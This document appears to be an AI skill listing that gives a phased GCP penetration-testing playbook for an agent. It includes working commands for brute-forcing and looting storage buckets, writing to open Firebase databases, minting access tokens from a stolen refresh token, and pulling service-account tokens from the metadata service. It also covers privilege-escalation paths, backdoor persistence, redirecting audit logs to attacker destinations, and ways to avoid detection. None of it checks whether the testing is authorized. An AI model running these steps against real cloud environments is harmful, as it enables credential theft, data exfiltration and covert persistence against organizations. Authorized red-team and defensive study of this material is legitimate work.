SuperAPI AI Directory

gcp-pentesting

Testing & quality

View repository

Updated 10-16 07:23

About this skill

GCP cloud environment penetration testing methodology

GCP is one of the world's three major public clouds, hosting a large number of enterprises' core businesses. Its unique resource hierarchy model (Organization → Folder → Project → Resource), Service Account mechanism, and IAM permission inheritance model constitute an attack surface completely different from AWS/Azure. This skill uses attack phases as the main thread, organizing the complete penetration path from "zero credentials" to "full control."

Core differences between GCP and AWS

Concept GCP AWS
Resource hierarchy Organization → Folder → Project → Resource Account → OU → Resource
Identity principal Google Account、Service Account、Group IAM User、IAM Role
Credential type SA Key (JSON)、OAuth Token、Metadata Token AK/SK、STS Token、Instance Profile
Permission binding Bound on the resource (get-iam-policy) Attach policy on the principal (Policy)
PassRole equivalent iam.serviceAccounts.actAs iam:PassRole
Metadata endpoint Requires Metadata-Flavor: Google header IMDSv1 requires no header / IMDSv2 requires Token
Access scope OAuth Scopes limit Token capabilities No equivalent mechanism

In-depth reference

After identifying the specific attack phase, load the corresponding reference document to obtain complete technical details:

Phase 0: Attack surface assessment

After obtaining a GCP-related target, first determine the type of asset currently in hand to decide which attack phase to enter:

当前持有什么?
├── 无任何凭据
│   ├── 有目标域名/IP → Phase 1(未授权枚举)
│   ├── 有 SSRF 漏洞 → 直接打 Metadata 获取 SA Token → Phase 2
│   └── 仅知道组织名称 → OSINT + Phase 1
│
├── 有 Service Account Key(JSON 格式,含 private_key 字段)
│   └── → Phase 2(凭据验证与权限评估)
│
├── 有 OAuth Access Token(ya29. 开头)
│   └── → Phase 2(注意:有效期通常 1 小时,需快速行动)
│
├── 有 Refresh Token(从 gcloud 本地配置窃取)
│   └── → 生成新 Access Token → Phase 2(可长期维持)
│
├── 在 Compute Engine / Cloud Functions / Cloud Run 实例内部
│   └── → 通过 Metadata 获取绑定 SA 的 Token → Phase 2
│
└── 有 gcloud CLI 配置目录(~/.config/gcloud/)
    └── → 提取 access_tokens.db / credentials.db → Phase 2

GCP credential type quick reference

Credential type Identification characteristics Validity period Acquisition method
SA Key (JSON) JSON file contains type: service_account + private_key Permanent (until deleted) Created in console / code leak
OAuth Access Token Starts with ya29. Introduction 1 hour gcloud / Metadata / API
Refresh Token Stored in credentials.db Usually valid long-term, but affected by revocation, non-use, user security incidents, and Google Cloud session control gcloud local file
Metadata Token Obtained from 169.254.169.254 Automatically rotated (~1 hour) Inside Compute/Functions/Run
OIDC Identity Token JWT format 1 hour SA-issued / Metadata
HMAC Key AccessId + Secret (used for GCS interoperability) Permanent gsutil hmac create

Relationship between OAuth Scopes and IAM

GCP's Metadata Token is limited by OAuth Scopes. Even if the SA has Owner permission in IAM, if the VM's configured Scope is only cloud-platform.read-only, the Token can only read. Bypass methods:

  • Search for SA Key files on the compromised host (not limited by Scope)
  • Pivot to other VMs with looser Scope restrictions
  • Use iam.serviceAccountKeys.create permission to generate a new Key

Phase 1: Unauthenticated enumeration

Without any GCP credentials, a large amount of information can still be collected about the target.

High-value enumeration targets

Target Attack method Value
GCS Bucket Domain enumeration + brute-force guessing storage.googleapis.com Data leakage, obtaining credential files
Cloud Functions URL https://REGION-PROJECT.cloudfunctions.net/FUNC Web vulnerability exploitation, unauthenticated calls
Cloud Run service https://SERVICE-xxx.a.run.app Web vulnerability exploitation
App Engine https://PROJECT.appspot.com Web vulnerability exploitation, version enumeration
Firebase RTDB https://PROJECT.firebaseio.com/.json Direct database read
Compute Engine public ports Nmap + service fingerprinting SSRF → Metadata → SA Token
BigQuery public datasets bq ls --project PROJECT Sensitive data leakage
Source Repositories gcloud source repos list Code leakage
API Keys Frontend code / request packet capture Unrestricted API Key abuse

GCS Bucket quick enumeration

# 1. 检查 Bucket 是否公开可列出
curl "https://storage.googleapis.com/TARGET-BUCKET"
gcloud storage ls gs://TARGET-BUCKET 2>/dev/null  # 如需匿名测试,先在隔离配置中禁用凭据

# 2. 暴力猜解 Bucket 名(常见命名规则)
for name in TARGET TARGET-backup TARGET-dev TARGET-staging TARGET-prod; do
  curl -s -o /dev/null -w "%{http_code} $name\n" \
    "https://storage.googleapis.com/$name"
done

# 3. 如果可读,下载敏感文件
gsutil -m cp -r gs://TARGET-BUCKET/ ./loot/ 2>/dev/null

# 自动化工具
# GCPBucketBrute - 枚举 GCS Bucket 并测试权限
python3 gcpbucketbrute.py -k TARGET_KEYWORD -w wordlist.txt

Firebase database quick detection

# 尝试未授权读取 Realtime Database
curl "https://TARGET-PROJECT.firebaseio.com/.json"

# 尝试写入测试
curl -X PUT "https://TARGET-PROJECT.firebaseio.com/test.json" -d '"pwned"'

Comprehensive public resource enumeration tool

# cloud_enum - 枚举 GCS Bucket、Firebase、App Engine、Cloud Functions
python3 cloud_enum.py -k TARGET_KEYWORD

# CloudBrute - 多云公开资源暴力枚举
CloudBrute -d TARGET -k TARGET -w wordlist.txt

Phase 2: Credential validation and permission assessment

After obtaining credentials, the first step is to verify their validity and assess the scope of permissions.

2.1 Credential configuration and identity authentication

# 方式一:SA Key 文件认证
gcloud auth activate-service-account --key-file=sa_key.json

# 方式二:直接使用 OAuth Token(无需文件)
export CLOUDSDK_AUTH_ACCESS_TOKEN="ya29.xxxx"
gcloud projects list

# 方式三:使用窃取的 Refresh Token 生成新 Access Token
curl -s --data client_id=32555940559.apps.googleusercontent.com \
  --data client_secret=ZmssLNjJy2998hD4CTg2ejr2 \
  --data grant_type=refresh_token \
  --data refresh_token=STOLEN_REFRESH_TOKEN \
  --data scope="https://www.googleapis.com/auth/cloud-platform" \
  https://www.googleapis.com/oauth2/v4/token

# 身份确认
gcloud auth list
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "https://www.googleapis.com/oauth2/v1/tokeninfo"

2.2 Organization and project enumeration

# 组织信息
gcloud organizations list
gcloud resource-manager folders list --organization ORG_NUMBER

# 项目列表
gcloud projects list

# 当前项目详情
gcloud config get-value project
gcloud projects describe PROJECT_ID

2.3 Permission enumeration

# 方法一:列出 SA 的 IAM 绑定(需要 iam 读权限)
gcloud projects get-iam-policy PROJECT_ID \
  --flatten="bindings[].members" \
  --filter="bindings.members:serviceAccount:SA_EMAIL" \
  --format="table(bindings.role)"

# 方法二:暴力枚举可用权限(无需 iam 读权限)
# bf_my_gcp_permissions - 暴力测试当前凭据拥有的权限
python3 bf_my_gcp_permissions.py -p PROJECT_ID

# 方法三:列出拥有 Key 的 SA(寻找更多攻击面)
for sa in $(gcloud iam service-accounts list --format="value(email)"); do
  echo "=== $sa ==="
  gcloud iam service-accounts keys list --iam-account "$sa"
done

2.4 Permission assessment decision tree

当前身份权限如何?
├── 有 roles/owner 或 roles/editor → 已是高权限,直接 Phase 4
├── 有 iam 读权限但无写权限 → 枚举所有 SA/用户/角色,寻找提权路径 → Phase 3
├── 有特定服务权限(如 storage.*、compute.*、cloudfunctions.*)
│   ├── 检查是否有 iam.serviceAccounts.actAs → 可通过服务提权 → Phase 3
│   ├── 有 compute.instances.create + actAs → Compute 提权 → Phase 3
│   └── 可直接利用当前权限进行后渗透 → Phase 4
├── Token 受 OAuth Scopes 限制
│   └── 尝试绕过 Scopes(搜索 SA Key、跳转其他 VM)→ Phase 2
└── 权限极低 → 暴力枚举更多权限,或回到 Phase 1 寻找更多入口

Refer to gcp-exploit skill for in-depth guides on GCP IAM privilege escalation and GKE attacks

Refer to cloud-iam-audit skill for cross-cloud IAM auditing

2.5 Automated auditing tools

Tool Purpose Command
ScoutSuite Multi-cloud security audit report scout gcp --user-account
gcp_scanner GCP resource scanning and permission assessment python3 __main__.py -o /tmp/out/ -g ~/.config/gcloud
gcp_enum GCP environment enumeration (Bash script) ./gcp_enum.sh
bf_my_gcp_permissions Brute-force enumeration of current credential permissions python3 bf_my_gcp_permissions.py -p PROJECT
gcpwn GCP penetration testing framework python3 main.py
Hayat GCP attack path discovery hayat scan --project PROJECT

Phase 3: Privilege escalation

The core idea of GCP privilege escalation: use current permissions to obtain higher privileges. GCP has hundreds of permissions, and many combinations of them can form privilege escalation paths. Two major categories of privilege escalation patterns:

  1. Principal privilege escalation: impersonate another principal (e.g., impersonate a SA via getAccessToken )
  2. Resource privilege escalation: obtain more permissions on a specific resource (e.g., grant yourself permissions via setIamPolicy )

Key permission iam.serviceAccounts.actAs is the GCP version of iam:PassRole, allowing a SA to be attached to a resource.

Privilege escalation path decision tree

当前拥有哪些权限?
├── IAM 直接操作
│   ├── iam.roles.update → 修改已分配角色添加权限
│   ├── iam.serviceAccounts.setIamPolicy → 给自己授予 SA 的 TokenCreator
│   ├── iam.serviceAccountKeys.create → 为目标 SA 创建新 Key
│   ├── iam.serviceAccounts.getAccessToken → 直接获取 SA Token
│   ├── iam.serviceAccounts.signBlob / signJwt → 签名冒充 SA
│   └── iam.serviceAccounts.implicitDelegation → 通过委派链冒充
│
├── 服务 + actAs 组合
│   ├── compute.instances.create + actAs → 创建绑定高权限 SA 的 VM
│   ├── cloudfunctions.functions.create + actAs → 创建恶意 Cloud Function
│   ├── run.services.create + actAs → 部署恶意 Cloud Run
│   ├── cloudbuild.builds.create + actAs → 提交恶意构建任务
│   ├── composer.environments.create + actAs → 创建 Composer 注入 DAG
│   ├── cloudscheduler.jobs.create + actAs → 定时调用 googleapis.com API
│   └── aiplatform.customJobs.create + actAs → Vertex AI 任务窃取 Token
│
├── 资源 setIamPolicy
│   ├── compute.instances.setIamPolicy → 授予自己 compute.admin
│   ├── cloudfunctions.functions.setIamPolicy → 授予 invoker 权限
│   ├── storage.buckets.setIamPolicy → 获取 Bucket 读写权限
│   ├── secretmanager.secrets.setIamPolicy → 获取 Secret 访问权
│   └── bigquery.datasets.setIamPolicy → 获取数据集访问权
│
└── 间接提权
    ├── storage.objects.get → 读取 Composer DAG / Cloud Functions 代码 Bucket
    ├── container.clusters.get + K8s RBAC → GKE 集群内提权
    ├── secretmanager.versions.access → 读取存储的凭据
    └── compute.projects.setCommonInstanceMetadata → 注入 SSH Key 到所有 VM

→ Read references/iam-privesc.md

Phase 4: Post-exploitation and persistence

After obtaining higher privileges, enter the post-exploitation phase. The goals are data acquisition, lateral movement, and establishing persistence.

4.1 High-value data sources

优先搜索哪些数据源?
├── Secret Manager → 凭据、API Key、数据库密码
├── GCS Bucket → 文档、备份、日志、配置文件
├── BigQuery → 业务数据、分析数据
├── Cloud SQL → 业务数据库
├── Firestore / Spanner → NoSQL / 分布式数据库
├── Compute Engine 磁盘快照 → 挂载后读取完整文件系统
├── Cloud Logging → 应用日志中的敏感信息
├── Artifact Registry → 容器镜像中的源码和凭据
└── Source Repositories → 代码仓库

4.2 Lateral movement

Cross-project movement:

  • Use Organization-level IAM bindings (a SA may have permissions in multiple Projects)
  • Use Shared VPC (cross-project network access)
  • Use cross-project impersonation of a Service Account

Cross-service movement:

  • Compute Engine → obtain SA Token via Metadata → access other services
  • GKE Node → obtain Node SA Token → escape from K8s to the GCP plane
  • Cloud Functions / Cloud Run → modify code to execute arbitrary operations
  • Composer (Airflow) → inject malicious DAG

4.3 Overview of persistence techniques

Service Persistence method Stealthiness
IAM Create new SA Key, add IAM Binding, modify role permissions Low (Admin Activity logs)
Compute Engine SSH Key injection, startup-script backdoor, disk snapshot Medium
Cloud Functions Modify function code, add allUsers invoker permission Medium
Cloud Run Deploy backdoor service, modify existing service code Medium
Cloud Scheduler Create scheduled job to call googleapis.com API High
Pub/Sub Add external subscriber to continuously receive messages High
Cloud Build Modify trigger to inject malicious build steps High
Storage Bucket IAM backdoor, HMAC Key creation Medium
Token theft Refresh Token persistence, SA Key offline storage High
API Keys Create unrestricted API Key Medium
Logging Modify Log Sink to export audit logs to an attacker-controlled destination High

→ Read references/post-exploit-persistence.md

Phase 5: Workspace Pivoting

There is a deep integration relationship between GCP and Google Workspace. An attacker with specific GCP permissions may pivot to the Workspace level, and vice versa.

Key Pivoting Paths

GCP → Workspace
├── Domain-Wide Delegation(DWD)
│   ├── SA 被授予 DWD 权限 → 冒充 Workspace 任意用户
│   └── 访问 Gmail、Drive、Calendar、Admin SDK 等
├── gcloud OAuth Scope 滥用
│   └── gcloud 支持 drive scope → 窃取 Drive 文件
└── Workspace 用户密码重置
    └── 拥有 Admin SDK 权限 → 重置用户密码

Workspace → GCP
├── Workspace 管理员 → 自动拥有 Organization Admin 权限
├── Group 成员管理 → 添加到有 GCP 权限的 Group
└── SAML/OIDC Federation → 利用 Identity Provider 信任关系

Refer to gcp-workspace-pivot skill for the complete guide on GCP to Workspace pivoting

Appendix: GCP Quick Reference

Common gcloud Commands

# 身份与权限
gcloud auth list                                          # 当前认证身份
gcloud auth print-access-token                            # 打印 Access Token
gcloud projects get-iam-policy PROJECT_ID                 # 项目 IAM 策略
gcloud iam service-accounts list                          # 列出所有 SA
gcloud organizations list                                 # 列出组织

# 资源枚举
gcloud compute instances list                             # 列出 Compute 实例
gcloud storage ls                                         # 列出 GCS Bucket
gcloud functions list                                     # 列出 Cloud Functions
gcloud run services list                                  # 列出 Cloud Run 服务
gcloud sql instances list                                 # 列出 Cloud SQL
gcloud secrets list                                       # 列出 Secret Manager
gcloud container clusters list                            # 列出 GKE 集群

# Metadata 服务(从实例内部)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"

GCP Service Abbreviation Reference Table

Service Attack Surface Keywords
IAM Permission policies, Service Account, role bindings, privilege escalation
Compute Engine Instances, Metadata, SSH Key, startup-script
GCS (Cloud Storage) Bucket policies, ACL, public access, HMAC Key
Cloud Functions Function URL, environment variables, bound SA
Cloud Run Service URL, container deployment, SA binding
GKE RBAC, Node SA, Pod SA, cluster credentials
BigQuery Dataset permissions, data export, Row-Level Security
Cloud SQL Public access, export, connection
Secret Manager Key storage, version access
KMS Key Policy, encryption/decryption permissions
Cloud Build Build triggers, SA tokens
Composer (Airflow) DAG injection, Bucket backdoor
Pub/Sub Topic/Subscription policies
Cloud Scheduler Scheduled jobs, OAuth/OIDC Token acquisition
Vertex AI Notebook, Custom Job, Model deployment
Artifact Registry Image registry policies, image poisoning

Notes

Cloud Audit Logs audit awareness: GCP's audit logs are divided into two categories:

Log Type Content Enabled by Default OPSEC Impact
Admin Activity Resource creation/modification/deletion, IAM changes Always enabled, cannot be disabled High (all administrative operations visible)
Data Access Data reads/writes (e.g., GCS GetObject, BigQuery queries) Disabled by default Low (but may be enabled by the organization)

High-risk operations (will definitely trigger Admin Activity logs):

  • IAM changes (CreateServiceAccount, CreateServiceAccountKey, SetIamPolicy)
  • Resource creation (CreateInstance, DeployFunction, CreateCluster)
  • Role changes (iam.roles.update, setIamPolicy)

Detection bypass considerations:

  • Data plane operations (GCS reads, BigQuery queries) are not logged under default configurations
  • Metadata service access does not generate Cloud Audit Logs
  • Organization Policy may restrict operations such as SA Key creation and external IP allocation
  • VPC Service Controls may prevent data from leaving the protected project boundary

Regional differences: GCP resources are region/multi-region isolated. During enumeration, all available regions must be traversed. Global services (IAM, Cloud Resource Manager) are not subject to regional restrictions.